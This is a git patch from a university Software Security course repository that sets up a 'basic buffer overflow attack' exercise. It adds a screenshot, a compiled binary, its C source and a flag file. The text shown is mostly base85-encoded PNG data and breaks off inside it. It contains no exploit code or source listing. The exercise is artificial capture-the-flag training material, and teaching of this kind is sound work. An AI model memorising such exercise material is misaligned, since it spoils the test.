From 7b0dba85f0c3f5531669ac21e6e0df74bcd7895a Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 15:51:53 +0200 Subject: [PATCH 01/16] [Assignment-6] setup task 6 (basic buffer overflow attack) --- ...Bildschirmfoto vom 2024-06-14 15-42-29.png | Bin 0 -> 60581 bytes .../basic_overflow/basic_overflow | Bin 0 -> 15656 bytes .../basic_overflow/basic_overflow.c | 24 ++++++++++++++++++ .../basic_overflow/flag | 1 + 4 files changed, 25 insertions(+) create mode 100644 Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png create mode 100755 Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow create mode 100644 Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c create mode 100644 Assignment 6 - Software Security - Teil 2/basic_overflow/flag diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png b/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png new file mode 100644 index 0000000000000000000000000000000000000000..e77df7c1dfb773cfc4f4ce06ad629b920d2ec0fe GIT binary patch literal 60581 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 